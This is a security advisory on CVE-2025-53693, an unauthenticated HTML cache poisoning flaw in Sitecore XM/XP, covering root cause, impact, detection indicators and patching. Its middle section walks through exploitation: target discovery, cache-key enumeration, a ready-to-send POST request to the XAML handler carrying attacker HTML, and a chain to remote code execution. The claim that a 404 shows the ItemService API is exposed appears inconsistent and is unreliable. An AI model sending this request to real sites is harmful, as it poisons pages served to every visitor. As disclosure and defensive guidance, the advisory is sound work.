CVE-2025-53693: 
Sitecore Experience Platform (XP) vulnerability analysis and mitigation

CVE-2025-53693 is an HTML Cache Poisoning vulnerability via Unsafe Reflection (CWE-470) in Sitecore Experience Manager (XM) and Sitecore Experience Platform (XP). It affects XM and XP versions 9.0 through 9.3 and 10.0 through 10.4, as well as Sitecore Managed Cloud and Experience Commerce products. The vulnerability was discovered by Piotr Bazydlo of watchTowr Labs, disclosed on August 29, 2025, and published to NVD on September 3, 2025. It carries a CVSS v3.1 base score of 9.8 (Critical), exploitable by unauthenticated remote attackers with no user interaction required (watchTowr Labs, Feedly).

The root cause is the XamlPageHandlerFactory HTTP handler (accessible pre-authentication via /-/xaml/), which uses externally-controlled input to dynamically resolve and invoke .NET methods through unsafe reflection (CWE-470). Specifically, the AjaxScriptManager.DispatchMethod reads attacker-controlled __SOURCE and __PARAMETERS form fields, uses reflection to locate and invoke methods on Sitecore controls, and — when the target control is an XmlControl subclass such as GlobalHeader — bypasses the Sitecore-only method allowlist. This allows an unauthenticated attacker to invoke Sitecore.Web.UI.WebControl.AddToCache(string cacheKey, string html), directly overwriting arbitrary HTML cache entries with attacker-supplied content. The attack requires no authentication, no privileges, and no user interaction, and is reachable over the network via a crafted HTTP POST to /-/xaml/Sitecore.Shell.Xaml.WebControl (watchTowr Labs).

Successful exploitation allows an unauthenticated remote attacker to poison the Sitecore HTML cache, replacing legitimate cached page content with arbitrary HTML — enabling defacement, phishing content injection, or serving malicious scripts to all users of the affected site. When chained with CVE-2025-53691 (post-auth RCE via insecure deserialization) and CVE-2025-34509 (hardcoded credentials), this vulnerability enables complete compromise of the Sitecore instance and potentially the underlying server infrastructure. The CVSS assessment reflects high impact on confidentiality, integrity, and availability, with the potential for lateral movement within the hosting environment (watchTowr Labs, Feedly).

Public proof-of-concept exploit code is available from watchTowr Labs and a GitHub repository (watchTowr Labs, GitHub PoC). The vulnerability is exploitable pre-authentication with a single crafted HTTP request, and watchTowr identified at least 22,000 internet-facing Sitecore instances as potential targets. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.074% (0.000740), reflecting low but non-negligible automated exploitation probability. Cloudflare deployed an emergency WAF rule on September 4, 2025 to provide interim protection (Cloudflare).

1. Reconnaissance: Use Shodan, Censys, or similar tools to identify internet-facing Sitecore XM/XP instances (versions 9.0–10.4). Confirm the presence of the XAML handler by sending GET /-/xaml/Sitecore.Shell.Xaml.WebControl and observing a valid response.
2. Enumerate cacheable items (optional, for precision targeting): If the ItemService API is exposed (test with GET /sitecore/api/ssc/item; a 404 response indicates exposure), query GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 to retrieve layout items with Cacheable=1, their paths, and VaryBy* settings. Enumerate device names via GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName.
3. Construct the cache key: Build the target cache key from the item path, language, and enabled VaryBy options. For example: /layouts/Sample Sublayout.ascx_#lang:EN_#login:False_#qs:_#index.
4. Send the cache poisoning request: Issue a crafted HTTP POST to the XAML handler endpoint:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: <target>
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang%3aEN_%23login%3aFalse_%23qs%3a_%23index","<malicious_html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

The __SOURCE value ctl00_ctl00_ctl05_ctl03 resolves to the GlobalHeader XmlControl and is stable across Sitecore deployments. 5. Achieve cache poisoning: The AddToCache method is invoked via unsafe reflection, overwriting the targeted cache entry with attacker-supplied HTML. Subsequent visitors to the affected page receive the poisoned content. 6. Chain to RCE (optional): Combine with CVE-2025-34509 (hardcoded credentials) to obtain authenticated access, then leverage CVE-2025-53691 (insecure deserialization) for full remote code execution on the server (watchTowr Labs).

• Network: Unusual HTTP POST requests to /-/xaml/Sitecore.Shell.Xaml.WebControl containing __ISEVENT=1, __SOURCE=ctl00_ctl00_ctl05_ctl03, and __PARAMETERS values referencing AddToCache; unauthenticated GET requests to /sitecore/api/ssc/item/search querying for layout or device items.
• Logs: IIS/web server access logs showing POST requests to /-/xaml/Sitecore.Shell.Xaml.WebControl from external IPs with application/x-www-form-urlencoded content type; repeated 200 responses to unauthenticated ItemService API queries (/sitecore/api/ssc/item/search).
• Application Behavior: Unexpected or altered HTML content served to end users from cached pages; Sitecore HTML cache entries containing injected scripts, iframes, or defacement content not matching source templates.
• File System: No direct file artifacts expected from cache poisoning alone; if chained with RCE (CVE-2025-53691), look for new or modified files in the Sitecore web root, unexpected DLLs, or web shells (watchTowr Labs).

Sitecore released patches in June and July 2025; administrators should apply the relevant security patches referenced in the official Sitecore KB article (KB1003667) for XM and XP versions 9.0–9.3 and 10.0–10.4 (Sitecore KB). As an interim measure, restrict or disable access to the /-/xaml/ handler at the network or WAF level; Cloudflare deployed an emergency WAF rule on September 4, 2025 for customers using its platform (Cloudflare). Additionally, restrict external access to the ItemService API (/sitecore/api/ssc/item) to prevent cache key enumeration, and implement network-level controls to limit exposure of Sitecore management endpoints to trusted IP ranges.

The watchTowr Labs blog post detailing the exploit chain received significant attention from the security community, with coverage from The Hacker News, GBHackers, CyberSecurityNews, and CyberPress highlighting the severity of the pre-auth cache poisoning to RCE chain (The Hacker News). Cloudflare responded with an emergency WAF rule release on September 4, 2025, one of the fastest vendor WAF responses observed for a CMS vulnerability (Cloudflare). The Belgian Centre for Cybersecurity (CCB) issued a warning about the vulnerability chain, and Check Point also published a defensive advisory (Check Point). Community discussion on Reddit and Mastodon noted the large attack surface — over 22,000 internet-facing Sitecore instances — and the ease of exploitation given the public PoC.